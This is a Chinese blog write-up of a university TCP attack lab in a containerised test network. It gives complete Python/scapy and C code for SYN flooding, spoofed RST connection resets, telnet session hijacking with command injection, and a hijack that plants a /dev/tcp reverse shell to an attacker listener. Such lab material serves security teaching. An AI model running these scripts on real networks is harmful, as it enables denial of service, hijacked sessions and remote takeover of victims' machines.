网络攻防技术——TCP攻击实验

最新推荐文章于 2024-07-16 09:51:03 发布

wion03

最新推荐文章于 2024-07-16 09:51:03 发布

阅读量1.3k

点赞数

分类专栏：安全学习笔记文章标签：网络 tcp/ip 安全

本文链接：https://blog.csdn.net/wion03/article/details/134577556

版权

安全学习笔记专栏收录该内容

8 篇文章 1 订阅

订阅专栏

一、实验主题

本实验的学习目标是让学生获得有关漏洞以及针对这些漏洞的攻击的第一手经验。聪明人从错误中学习。在安全教育中，我们研究导致软件漏洞的错误。研究过去的错误不仅有助于学生理解为什么系统容易受到攻击，为什么“看似良性”的错误会变成灾难，以及为什么需要许多安全机制。更重要的是，它还帮助学生了解漏洞的常见模式，从而避免将来犯类似的错误。此外，使用漏洞作为案例研究，学生可以学习安全设计、安全编程和安全测试的原则。

TCP/IP协议中的漏洞代表了协议设计和实现中的一种特殊类型的漏洞；它们提供了一个宝贵的教训，说明了为什么安全性应该从一开始就设计好，而不是事后才加上。此外，研究这些漏洞有助于学生了解网络安全的挑战以及为什么需要许多网络安全措施。在本实验中，学生将对TCP进行几个攻击。本实验涵盖以下主题：

TCP协议
TCP SYN洪水攻击和SYN cookie
TCP重置攻击
TCP会话劫持攻击
反向Shell

二、实验环境

这个实验里，在我们至少需要有三台机器。我们使用容器来设置实验环境。图1描述了实验的设置。我们将使用攻击者容器来发起攻击，同时使用其他三个容器作为受害者和用户机器。我们假设所有这些机器都在同一个局域网上。学生们也可以在这个实验中使用三台虚拟机，但使用容器会更方便。

下载并解压Labsetup.zip文件，进入文件夹运行环境搭建命令：

查看已开启的容器ID：

三、实验内容

Task 1: SYN Flooding Attack

SYN flood是DoS攻击的一种形式，攻击者向受害者的TCP端口发送许多SYN请求，但攻击者无意完成3次握手过程。攻击者要么使用欺骗的IP地址，要么不继续该过程。通过这种攻击，攻击者可以淹没受害者的队列，这些队列用于半打开的连接，即已经完成SYN、SYN-ACK，但还没有得到最后的ACK。当队列满时，受害者无法再接受任何连接。图2说明了这种攻击。

队列的大小具有系统范围的设置。在Ubuntu操作系统中，我们可以使用以下命令检查设置。操作系统根据系统拥有的内存量设置这个值:机器拥有的内存量越多，这个值就越大。

可以看到我的Ubuntu地最大队列大小为256。为了提高实验的成功率，我调整了受害者容器最大队列的大小为16：

我们可以使用命令“netstat -nat”来检查队列的使用情况，即与侦听端口相关联的半打开连接的数量。这种连接的状态是SYN-RECV。如果3次握手完成后，连接状态为ESTABLISHED。

SYN Cookie对策: 默认情况下，Ubuntu的SYN泛洪对策是打开的。这种机制被称为SYN cookie。如果机器检测到它受到SYN泛洪攻击，它将启动。在受害服务器容器中，我们已经关闭了它(参见docker-compose中的sysctls条目)。yml文件)。我们可以使用下面的sysctl命令来打开和关闭它:

Task 1.1: Launching the Attack Using Python

实验目的：

我们提供了一个名为synflood.py的Python程序，但是我们有意省略了代码中的一些重要数据。此代码发送带有随机生成的源IP地址、源端口和序列号的欺骗性TCP SYN包。学生应该完成代码，然后使用它对目标机器发起攻击:

让攻击运行至少一分钟，然后尝试telnet到受害机器，看看是否能成功。

注意事项：

内核缓解机制：在Ubuntu 20.04上，如果机器X从未与目标机器建立TCP连接，那么在发起SYN洪泛攻击时，机器X将无法telnet登录到目标机器。但是，如果机器X在攻击之前已经与目标机器建立了telnet(或TCP连接)，那么X似乎对SYN洪泛攻击“免疫”，并且可以在攻击期间成功地telnet到目标机器。看起来，受害者的机器会记住过去成功的连接，并使用这些内存与“返回”的客户端建立未来的连接。这种行为在Ubuntu 16.04和更早的版本中不存在。这是由于内核的缓解:如果禁用了SYN cookie, TCP将积压队列的四分之一保留给“经过验证的目的地”。在10.9.0.6和服务器10.9.0.5建立TCP连接后，我们可以看到10.9.0.6的IP地址被服务器记住(缓存)了，所以当他们有连接时，他们会使用预留的槽位，因此不会受到SYN flooding攻击的影响。为了消除这种缓解方法的影响，我们可以在服务器上运行“ip tcp metrics flush”命令。

实验步骤：

1. 补充完整代码：

#!/bin/env python3
from scapy.all import IP, TCP, send
from ipaddress import IPv4Address
from random import getrandbits

ip = IP(dst="10.9.0.5")
tcp = TCP(dport=23, flags='S')
pkt = ip/tcp

while True:
	pkt[IP].src = str(IPv4Address(getrandbits(32))) # source iP
	pkt[TCP].sport = getrandbits(16) # source port
	pkt[TCP].seq = getrandbits(32) # sequence number
	send(pkt, verbose = 0)
	print("send one package\n")

将目标IP设置为受害者容器的IP，端口号设置为23.

2. 进入受害者容器，查看并清除TCP连接缓存：

将攻击者的TCP缓存也清除掉：

3. 运行代码一分钟之后，尝试telnet受害者容器：

telnet失败，显示超时，说明程序SYN flooding攻击成功。

4. 进入受害者容器输入netstat -nat命令，查看队列的使用情况：

这里可以看到我的队列里面已经填满了SYN请求，攻击成功。

Task 1.2: Launch the Attack Using C

实验目的：

除了TCP缓存问题，如果我们能够足够快地发送伪造的SYN包，Task 1.1中提到的所有问题都可以解决。我们可以用C语言实现这一点。我们在labsetup中提供了一个C程序synflood。请在虚拟机上编译程序，然后对目标机发起攻击。

源代码：

#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <time.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <arpa/inet.h>

/* IP Header */
struct ipheader {
  unsigned char      iph_ihl:4, //IP header length
                     iph_ver:4; //IP version
  unsigned char      iph_tos; //Type of service
  unsigned short int iph_len; //IP Packet length (data + header)
  unsigned short int iph_ident; //Identification
  unsigned short int iph_flag:3, //Fragmentation flags
                     iph_offset:13; //Flags offset
  unsigned char      iph_ttl; //Time to Live
  unsigned char      iph_protocol; //Protocol type
  unsigned short int iph_chksum; //IP datagram checksum
  struct  in_addr    iph_sourceip; //Source IP address
  struct  in_addr    iph_destip;   //Destination IP address
};


/* TCP Header */
struct tcpheader {
    u_short tcp_sport;               /* source port */
    u_short tcp_dport;               /* destination port */
    u_int   tcp_seq;                 /* sequence number */
    u_int   tcp_ack;                 /* acknowledgement number */
    u_char  tcp_offx2;               /* data offset, rsvd */
#define TH_OFF(th)      (((th)->tcp_offx2 & 0xf0) >> 4)
    u_char  tcp_flags;
#define TH_FIN  0x01
#define TH_SYN  0x02
#define TH_RST  0x04
#define TH_PUSH 0x08
#define TH_ACK  0x10
#define TH_URG  0x20
#define TH_ECE  0x40
#define TH_CWR  0x80
#define TH_FLAGS        (TH_FIN|TH_SYN|TH_RST|TH_ACK|TH_URG|TH_ECE|TH_CWR)
    u_short tcp_win;                 /* window */
    u_short tcp_sum;                 /* checksum */
    u_short tcp_urp;                 /* urgent pointer */
};

/* Psuedo TCP header */
struct pseudo_tcp
{
        unsigned saddr, daddr;
        unsigned char mbz;
        unsigned char ptcl;
        unsigned short tcpl;
        struct tcpheader tcp;
        char payload[1500];
};

//#define DEST_IP    "10.9.0.5"
//#define DEST_PORT  23  // Attack the web server
#define PACKET_LEN 1500

unsigned short calculate_tcp_checksum(struct ipheader *ip);

/*************************************************************
  Given an IP packet, send it out using a raw socket.
**************************************************************/
void send_raw_ip_packet(struct ipheader* ip)
{
    struct sockaddr_in dest_info;
    int enable = 1;

    // Step 1: Create a raw network socket.
    int sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
    if (sock < 0) {
      fprintf(stderr, "socket() failed: %s\n", strerror(errno));
      exit(1);
    }

    // Step 2: Set socket option.
    setsockopt(sock, IPPROTO_IP, IP_HDRINCL,
                     &enable, sizeof(enable));

    // Step 3: Provide needed information about destination.
    dest_info.sin_family = AF_INET;
    dest_info.sin_addr = ip->iph_destip;

    // Step 4: Send the packet out.
    sendto(sock, ip, ntohs(ip->iph_len), 0,
           (struct sockaddr *)&dest_info, sizeof(dest_info));
    close(sock);
}


/******************************************************************
  Spoof a TCP SYN packet.
*******************************************************************/
int main(int argc, char *argv[]) {
   char buffer[PACKET_LEN];
   struct ipheader *ip = (struct ipheader *) buffer;
   struct tcpheader *tcp = (struct tcpheader *) (buffer +
                                   sizeof(struct ipheader));

   if (argc < 3) {
     printf("Please provide IP and Port number\n");
     printf("Usage: synflood ip port\n");
     exit(1);
   }

   char *DEST_IP   = argv[1];
   int DEST_PORT   = atoi(argv[2]);


   srand(time(0)); // Initialize the seed for random # generation.
   while (1) {
     memset(buffer, 0, PACKET_LEN);
     /*********************************************************
        Step 1: Fill in the TCP header.
     ********************************************************/
     tcp->tcp_sport = rand(); // Use random source port
     tcp->tcp_dport = htons(DEST_PORT);
     tcp->tcp_seq   = rand(); // Use random sequence #
     tcp->tcp_offx2 = 0x50;
     tcp->tcp_flags = TH_SYN; // Enable the SYN bit
     tcp->tcp_win   = htons(20000);
     tcp->tcp_sum   = 0;

     /*********************************************************
        Step 2: Fill in the IP header.
     ********************************************************/
     ip->iph_ver = 4;   // Version (IPV4)
     ip->iph_ihl = 5;   // Header length
     ip->iph_ttl = 50;  // Time to live
     ip->iph_sourceip.s_addr = rand(); // Use a random IP address
     ip->iph_destip.s_addr = inet_addr(DEST_IP);
     ip->iph_protocol = IPPROTO_TCP; // The value is 6.
     ip->iph_len = htons(sizeof(struct ipheader) +
                         sizeof(struct tcpheader));

     // Calculate tcp checksum
     tcp->tcp_sum = calculate_tcp_checksum(ip);

     /*********************************************************
       Step 3: Finally, send the spoofed packet
     ********************************************************/
     send_raw_ip_packet(ip);
   }

   return 0;
}


unsigned short in_cksum (unsigned short *buf, int length)
{
   unsigned short *w = buf;
   int nleft = length;
   int sum = 0;
   unsigned short temp=0;

   /*
    * The algorithm uses a 32 bit accumulator (sum), adds
    * sequential 16 bit words to it, and at the end, folds back all
    * the carry bits from the top 16 bits into the lower 16 bits.
    */
   while (nleft > 1)  {
       sum += *w++;
       nleft -= 2;
   }

   /* treat the odd byte at the end, if any */
   if (nleft == 1) {
        *(u_char *)(&temp) = *(u_char *)w ;
        sum += temp;
   }

   /* add back carry outs from top 16 bits to low 16 bits */
   sum = (sum >> 16) + (sum & 0xffff);  // add hi 16 to low 16
   sum += (sum >> 16);                  // add carry
   return (unsigned short)(~sum);
}

/****************************************************************
  TCP checksum is calculated on the pseudo header, which includes
  the TCP header and data, plus some part of the IP header.
  Therefore, we need to construct the pseudo header first.
*****************************************************************/


unsigned short calculate_tcp_checksum(struct ipheader *ip)
{
   struct tcpheader *tcp = (struct tcpheader *)((u_char *)ip +
                            sizeof(struct ipheader));

   int tcp_len = ntohs(ip->iph_len) - sizeof(struct ipheader);

   /* pseudo tcp header for the checksum computation */
   struct pseudo_tcp p_tcp;
   memset(&p_tcp, 0x0, sizeof(struct pseudo_tcp));

   p_tcp.saddr  = ip->iph_sourceip.s_addr;
   p_tcp.daddr  = ip->iph_destip.s_addr;
   p_tcp.mbz    = 0;
   p_tcp.ptcl   = IPPROTO_TCP;
   p_tcp.tcpl   = htons(tcp_len);
   memcpy(&p_tcp.tcp, tcp, tcp_len);

   return  (unsigned short) in_cksum((unsigned short *)&p_tcp,
                                     tcp_len + 12);
}

实验步骤：

1.清除受害者容器的缓存：

2. 编译运行攻击程序：

3. 尝试telnet受害者容器：

telnet失败，显示超时，说明C程序SYN flooding攻击成功。

4. 进入受害者容器查看队列状态（为了更好地说明该C程序的高效性，进行攻击前可以将受害者主机的最大TCP序列长度设置回默认长度）：

可以看到SYN请求已经填满了TCP队列，成功导致了受害者主机无法接收到新的TCP连接请求。

Task 1.3: Enable the SYN Cookie Countermeasure

实验目的：

请启用SYN cookie机制，并再次运行攻击，并比较结果。

实验步骤：

1. 进入受害者容器，开启SYN cookie策略：

2. 清除TCP缓存：

3. 攻击者运行攻击程序，一段时间后再次尝试telnet受害者容器：

可以看到能够连接到受害者主机，说明该SYN Cookie对策成功生效。

Task 2: TCP RST Attacks on telnet Connections

实验目的：

TCP RST攻击可以终止两个受害者之间已经建立的TCP连接。例如，如果用户A和用户B之间已经建立了telnet连接(TCP)，攻击者可以欺骗从A到B的RST报文，从而破坏这个已经存在的连接。攻击者需要正确构造TCP RST报文，才能成功攻击。

在本任务中，需要从虚拟机中发起TCP RST攻击，破坏a和B这两个容器之间已经存在的telnet连接。为了简化实验，我们假设攻击者和受害者在同一个局域网中，即攻击者可以观察。

该任务可以用手动方式（使用Wireshark）和自动方式实现，这里我选择用自动方式实现。

实验步骤：

1. 为了实现自动嗅探到受害者主机发出的Telnet请求并构造RST数据包来断开该连接，结合上次Lab9的嗅探实验，我编写了以下代码：

import socket
from scapy.all import *

def print_pkt(pkt):

    src_ip = pkt[IP].src
    dst_ip = pkt[IP].dst
    seq_num = pkt[TCP].seq
    ack_num = pkt[TCP].ack
    payload_len = len(pkt[TCP].payload)
    flag = pkt[TCP].flags
    
    print("The data receive from server:")
    print("Source IP: {}".format(src_ip))
    print("Destination IP: {}".format(dst_ip))
    print("Sequence Number: {}".format(seq_num))
    print("Acknowledgment Number: {}".format(ack_num))
    print("Payload Length: {}".format(payload_len))
    print("Flags: {}\n".format(flag))

    rst_pkt = IP(src=dst_ip, dst=src_ip)/TCP(sport=pkt[TCP].dport, dport=pkt[TCP].sport, flags='R', seq=ack_num, ack=seq_num + payload_len)
    send(rst_pkt, iface='br-fe3d874f07ae')
    
    print("The data send to server:")
    print("Source IP: {}".format(rst_pkt[IP].src))
    print("Destination IP: {}".format(rst_pkt[IP].dst))
    print("Sequence Number: {}".format(rst_pkt[TCP].seq))
    print("Acknowledgment Number: {}".format(rst_pkt[TCP].ack))
    print("Payload Length: {}".format(len(rst_pkt[TCP].payload)))
    print("Flags: {}\n".format(rst_pkt[TCP].flags))

pkt = sniff(iface='br-fe3d874f07ae', filter='tcp and dst host 10.9.0.5 and src port 23', prn=print_pkt)

该程序能够嗅探到来自端口23（服务器端）发送到受害者主机（客户端）10.9.0.5所有的TCP数据包，并打印出该数据包的源IP、目标IP、序列号、ACK和数据包长度。

根据TCP协议的原理，我们构造的返回给服务器的数据包的序列号应为嗅探到的数据包的ACK，ACK应为嗅探到的数据包的序列号加上数据包的长度，然后将flags设置为‘R’，表示RST重置，将该数据包发送给服务器端，就能够将该连接中断。

2. 进入受害者容器telnet其他用户主机：

此时我们还可以正常远程连接运行命令pwd。

3. 攻击者运行攻击程序：

4. 然后我们尝试在受害者容器中输入任意命令：

可以看到我们输入任意字符后，连接被中断。左边攻击程序嗅探到了服务器发送给我们的数据包，其内容应该为确认我们输入的第一个字符”p”。此时我们的攻击程序伪造了虚假的RST数据包发送给了服务器，服务器接收到后返回了标志位为R的数据包给我们，表示连接已经被服务器断开，故受害者容器会打印提示消息“Connection closed by foreign host”。

5. 如果我们在telnet之前运行攻击程序：

攻击程序会在打印完提示信息后生效。

Task 3: TCP Session Hijacking

实验目的：

TCP会话劫持攻击的目的是通过向受害者之间已存在的TCP连接(会话)中注入恶意内容来劫持该会话。如果此连接是telnet会话，攻击者可以在此会话中注入恶意命令(例如删除重要文件)，导致受害者执行恶意命令。图3描述了攻击的工作原理。在这个任务中，你需要演示如何劫持两台计算机之间的telnet会话。你的目标是让telnet服务器运行恶意命令。为简单起见，我们假设攻击者和受害者在同一个局域网中。

实验步骤：

1. 选择一个容器作为服务器，这里我选择10.9.0.7，进入该容器的/home/seed目录下创建一个文件：

2. 编写攻击程序：

import socket
from scapy.all import *

def print_pkt(pkt):

    src_ip = pkt[IP].src
    dst_ip = pkt[IP].dst
    seq_num = pkt[TCP].seq
    ack_num = pkt[TCP].ack
    payload_len = len(pkt[TCP].payload)
    flag = pkt[TCP].flags
    
    print("The data receive from server:")
    print("Source IP: {}".format(src_ip))
    print("Destination IP: {}".format(dst_ip))
    print("Sequence Number: {}".format(seq_num))
    print("Acknowledgment Number: {}".format(ack_num))
    
    data = "echo \"Task3 Success!\" >> ~/Task3.txt\n\0"
    rst_pkt = IP(src=dst_ip, dst=src_ip)/TCP(sport=pkt[TCP].dport, dport=pkt[TCP].sport, flags='A', seq=ack_num, ack=seq_num + payload_len)/data
    send(rst_pkt, iface='br-fe3d874f07ae')
    
    print("The data send to server:")
    print("Source IP: {}".format(rst_pkt[IP].src))
    print("Destination IP: {}".format(rst_pkt[IP].dst))
    print("Sequence Number: {}".format(rst_pkt[TCP].seq))
    print("Acknowledgment Number: {}".format(rst_pkt[TCP].ack))
    print("Data: {}".format(data))


pkt = sniff(iface='br-fe3d874f07ae', filter='tcp and dst host 10.9.0.5 and src port 23', prn=print_pkt)

该程序原理与Task2基本一致，不同的是加了负载字段data作为恶意命令执行，这里我的命令内容为“echo \"Task3 Success!\" >> ~/Task3.txt\n\0”，即将这段文本输出定向到Task3.txt中。

3. 进入受害者容器（客户端），telnet服务器端容器10.9.0.7，并查看目标文件的内容：

可以看到此时能够正常连接并且文件内容为空。

4. 攻击者运行攻击程序，观察受害者容器：

受害者容器的TCP会话成功被劫持（此时已经不能进行任何输入和操作）。并且成功发送了带有恶意命令的数据包给服务器。

5. 进入服务器端容器观察文件内容是否被篡改：

可以看到因为程序不停地发送欺骗数据包，目标文件内被写满了我们预先设置好的文字，劫持会话成功，Task3完成。

Task 4: Creating Reverse Shell using TCP Session Hijacking

实验目的：

当攻击者能够使用 TCP 会话劫持向受害者的机器注入命令时，他们对在受害者的机器上运行一个简单的命令不感兴趣；他们对运行许多命令感兴趣。显然，通过 TCP 会话劫持来运行这些命令是不方便的。攻击者想要实现的是利用攻击来设置一个后门，这样他们就可以使用这个后门来方便地进行进一步的破坏。设置后门的一个典型方法是从受害者机器上运行一个反向 shell，让攻击者的 shell进入受害者机器。反向 shell 是一个在远程机器上运行的 shell 进程，它可以连接回攻击者的机器。这为攻击者提供了一种方便的方式来访问远程计算机。

本次任务是对用户和目标服务器之间的现有 telnet 会话发起 TCP 会话劫持攻击。需要将恶意命令注入到被劫持的会话中，这样就可以在目标服务器上获得一个反向shell。

实验步骤：

1. 编写攻击程序：

import socket
from scapy.all import *
import sys

def print_pkt(pkt):

    src_ip = pkt[IP].src
    dst_ip = pkt[IP].dst
    seq_num = pkt[TCP].seq
    ack_num = pkt[TCP].ack
    payload_len = len(pkt[TCP].payload)
    flag = pkt[TCP].flags
    
    print("The data receive from server:")
    print("Source IP: {}".format(src_ip))
    print("Destination IP: {}".format(dst_ip))
    print("Sequence Number: {}".format(seq_num))
    print("Acknowledgment Number: {}".format(ack_num))
    
    data = "/bin/bash -i > /dev/tcp/10.9.0.1/8888 0<&1 2>&1\n\0"
    rst_pkt = IP(src=dst_ip, dst=src_ip)/TCP(sport=pkt[TCP].dport, dport=pkt[TCP].sport, flags='A', seq=ack_num, ack=seq_num + payload_len)/data
    send(rst_pkt, iface='br-fe3d874f07ae')
    
    print("The data send to server:")
    print("Source IP: {}".format(rst_pkt[IP].src))
    print("Destination IP: {}".format(rst_pkt[IP].dst))
    print("Sequence Number: {}".format(rst_pkt[TCP].seq))
    print("Acknowledgment Number: {}".format(rst_pkt[TCP].ack))
    print("Data: {}".format(data))
    
    sys.exit()


pkt = sniff(iface='br-fe3d874f07ae', filter='tcp and dst host 10.9.0.6 and src port 23', prn=print_pkt)

该程序与Task3基本一致，不同的是将负载部分的命令修改为"/bin/bash -i > /dev/tcp/10.9.0.1/8888 0<&1 2>&1\n\0"，该命令将建立一个反向 Shell 连接，将 Shell的输入/输出重定向到网络上的 IP 地址 10.9.0.1 的端口 8888。

这次实验将10.9.0.5（受害者主机）作为服务器，用户1（10.9.0.6）作为客户端，过滤规则做了相应的修改。

2. 用户1 telnet连接受害者主机：

3. 攻击者在目标端口开启监听：

4. 运行攻击程序，然后等待用户输入（此处会将第一个输入的字符加在负载的首部，所以为了实验效果输入回车）：

成功嗅探到了数据包，并伪造了欺骗数据包发送，此时用户1的连接已经失效。

5. 成功得到了受害者主机的反向shell：

wion03

关注

0
点赞
踩
7

收藏

觉得还不错? 一键收藏
0
评论
网络攻防技术——TCP攻击实验

本实验的学习目标是让学生获得有关漏洞以及针对这些漏洞的攻击的第一手经验。聪明人从错误中学习。在安全教育中，我们研究导致软件漏洞的错误。研究过去的错误不仅有助于学生理解为什么系统容易受到攻击，为什么“看似良性”的错误会变成灾难，以及为什么需要许多安全机制。更重要的是，它还帮助学生了解漏洞的常见模式，从而避免将来犯类似的错误。此外，使用漏洞作为案例研究，学生可以学习安全设计、安全编程和安全测试的原则。TCP/IP协议中的漏洞代表了协议设计和实现中的一种特殊类型的漏洞；
复制链接

扫一扫